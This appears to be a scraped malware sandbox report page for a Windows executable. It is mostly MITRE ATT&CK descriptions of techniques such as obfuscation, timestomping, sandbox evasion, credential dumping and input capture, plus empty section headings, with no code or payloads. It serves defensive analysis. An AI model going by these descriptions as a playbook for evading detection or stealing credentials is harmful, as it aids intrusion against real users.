Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report DWVByMCYL8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Bitcoin Miner:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre